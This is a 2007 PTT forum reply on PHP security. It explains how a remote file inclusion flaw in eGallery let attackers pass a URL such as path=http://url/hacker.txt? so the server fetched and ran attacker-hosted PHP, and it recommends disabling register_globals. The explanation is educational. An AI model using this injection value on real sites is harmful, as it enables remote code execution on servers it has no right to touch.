Re: [閒聊] 關於安全性

看板PHP作者 (冒牌費大公)時間19年前 (2007/01/28 22:46), 編輯推噓0(000)
留言0則, 0人參與, 最新討論串4/4 (看更多)
※ 引述《MrMarcus (請勿忘記密碼)》之銘言: : ※ 引述《chweng ()》之銘言: : : 沒那麼誇張吧? : : 就算是去 include 別人的 url,也祇會收到對方處理過後的資料而已, : : 應該不會接收到對方處理過程中所用的變數。 : : 我剛剛試了一下,應該是沒辦法用這方法讀到才對, : : 或者我誤會你的意思了?可以請你實作一個看看嗎? : : 有一種比較常見的情況是,某些程式會以 inc 為副檔名, : : 但偏偏 server 又忘了把這類檔案的 MIME type 設成 application/x-httpd-php, : : 導致 server 直接以 text/plain 直接把程式碼全給倒出來… : : 如果這時候程式中剛好又含有重要資訊的話,就直接被別人看光光了。 : : 不過這時候也不需要 include,直接踹到該 inc 正確的位置就可以了…… : include("http://") 這種方式只能擷取到對方web server執行完後送出的html : (或者其他格式)內容,這樣是不會抓到對方的PHP原始碼的(除非就像c網友所 : 提到的狀況)。不過include在多人共用的伺服器上面確實有可能把其他使用者 : 的程式碼抓進來,例如在虛擬主機上面,這種狀況是有可能發生的(其他檔案 : 操作的功能也一樣)。PHP對於這個問題有提供一些方式去防止使用者試圖 : 去include/require/fopen()他們不該看到的檔案,請查詢關於safe mode的資料。 : http://www.php.net/manual/en/features.safe-mode.php eGallery有一個著名的漏洞,他有一個程式用global變數傳遞目錄名稱,然後再 include 目錄名+檔案名..... 結果有人就用這個方法入侵: 在一個遠端網站,放置一個純文字檔案,例如hacker.txt 然後用get的方式對程式傳入相同名稱的變數,例如path=http://url/hacker.txt? 然後當程式include($path."file")時 --> 會變成 include("http://url/hacker.txt?file")........ 純文字檔的內容只要包在<?php ?>之間,就會被執行。接下來可以做的事情就多了 所以include還是可能因為這樣出問題的。當然,關掉register_global,嚴格區分 一般變數、get、post、cookie等,就可以盡量避免這個問題。 -- Sapere Aude! 這就是啟蒙運動的口號! -- ※ 發信站: 批踢踢實業坊(ptt.cc) ◆ From: 60.248.166.83
文章代碼(AID): #15lBSiyS (PHP)
討論串 (同標題文章)
文章代碼(AID): #15lBSiyS (PHP)